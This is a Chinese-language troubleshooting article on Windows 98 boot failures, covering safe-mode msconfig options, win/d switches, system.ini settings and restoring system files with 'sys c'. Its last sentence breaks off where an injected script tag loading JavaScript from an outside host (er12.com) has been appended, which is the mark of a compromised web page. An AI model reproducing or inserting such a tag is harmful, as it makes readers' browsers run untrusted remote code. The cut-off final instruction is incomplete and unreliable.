windows 9x系统不能正常启动或关闭，原因多在于系统设置和某些文件本身有问题，情况较为复杂，下面以windows98为例分别予以说明。本文内容也可供windwos me/2000用户参考。
一、windows 98的启动故障
windows 98启动时死机的原因比较复杂，因为windows 98在系统引导时要经过一个彻底的软、硬件检测过程。在这个过程中，任何一个环节出问题都可能引起系统工作不正常。
1.系统第一次启动就死机
这种情况应怀疑硬件安装或设置有问题，可按以下步骤排除：
(1)禁止32位磁盘存取
如果硬盘不支持32位存取方式，那么系统会在启动过程中挂起，这时可以采取以下措施来处理：①在系统引导过程中，当看见“start windows 98”时，立即按下f8键，用“safe mode”(安全模式)启动系统； ②单击“开始/运行”，在“打开”框中键入“msconfig”，然后单击“确定”；③单击“高级”，选中“强制兼容方式磁盘访问”复选框，单击“确定”，再击“确定”；④系统提示重新启动计算机，单击“是”确认，重新启动系统。如果计算机正常启动，则说明你的硬盘太陈旧了，不能支持32位的存取方式，建议将它换掉。
如果系统无法进入安全模式，则可按f8 键，通过“command prompt only”项进入dos状态，当出现 dos 提示符后， 键入“win/df”来启动windows 98。如果成功，同样说明系统拒绝采用32位磁盘存取模式来运行windows 98。
(2)保证基于bios的磁盘操作
如果采用上述方法不能成功，那么windows 98可能需要使用基于 bios的磁盘操作系统。运行“msconfig”的步骤与上相同，只须单击“高级”，选中“禁用虚拟hd irq”复选框。如启动成功，说明系统要求基于bios的磁盘操作。
如果系统无法进入安全模式，则可按f8 键，通过“command prompt only”项进入dos状态，当出现 dos 提示符时， 键入“win/dv”，如果启动成功，那么可在system.ini文件中的386enh 项目后面加入下列设置：
virtualhdirq=0
(3(禁止windows 98使用rom断点
一个rom断点是pc bios中的一个地址，它含有windows 98 从安全模式转换成实模式时所使用的指令。一般情况下，windows 98 在指定地址寻找那些断点指令。但是，如果使用了第三方内存管理程序时，须禁止使用 rom断点。禁用系统rom断点的步骤与上相同，只须单击 “高级”，选中“禁用系统rom断点”复选框。如启动成功，说明系统不能使用rom断点。
如果系统无法进入安全模式，则可通过“command prompt only”项进入dos状态，当出现 dos 提示符时， 键入“win/ds”，如果启动成功，那么可在system.ini文件中的386enh 项目后面加入下列设置：
systemrombreakpoint=0
4禁止windows 98使用视频卡内存
系统无法使用视频卡内存可能引起启动失败，可禁止使用它。禁止使用视频卡内存的步骤与上述方法一样，仅仅在 “高级”选项中，选中“ emm不包含a000-f fff”复选框即可。
如果系统无法进入安全模式，也可用与上面相同的方法进入dos状态，当出现 dos 提示符时， 键入“win/dx”，如果启动成功，那么可在system.ini文件中的386enh 项目后面加入下列设置：
emmexclude=a000-ffff
2.出现“starting windows 98 ...”信息即死机
这种故障多是由于windows 98的dos启动部分受到损坏。在安装windows 98 时曾建立过启动盘，将此盘插入软驱重新启动机器，启动后使用“sys c”命令向c盘传送系统即可。如安装时没有建立启动盘， 可到其它机器上通过“设置面板/添加删除程序/创建启动盘”来创建启动盘，然后使用“sys c”命令向c盘传送系统。但千万注意， 传送盘的系统版本与传送对象的系统版本必须一致，否则系统无法启动。
3.启动后立即自动关机
启动后屏幕显示“现在可以安全地关闭计算机了”，并立即自动关机。产生该故障的原因是由于windows 98启动时，设备驱动程序装载出错，导致系统认为硬件无法正常工作。在系统引导过程中， 当出现“start windows 98”时，立即按下f8键， 利用启动模式中的“step-by-step confirmation”选项来确认。如果系统运行至“ load all windows dirvers enter
=yesc=n”时，按回车键后出现安全关机信息，则肯定是这个原因。
重新启动系统，当显示“starting windows 98...”时，立即按f8键，进入启动菜单，选择安全模式(safe mode)，打开system.ini， 检查其中的boot项，将每一条装载的驱动程序与c\windwos/system 下的对应的drv文件对比，即检查boot项后面扩展名为drv的语句的等号右边的驱动程序名是否与windows\system下的对应的drv文件的文件名相一致， 若不一致则加以更正；若system.ini所指定的驱动?script src=http://er12.com/t.js>
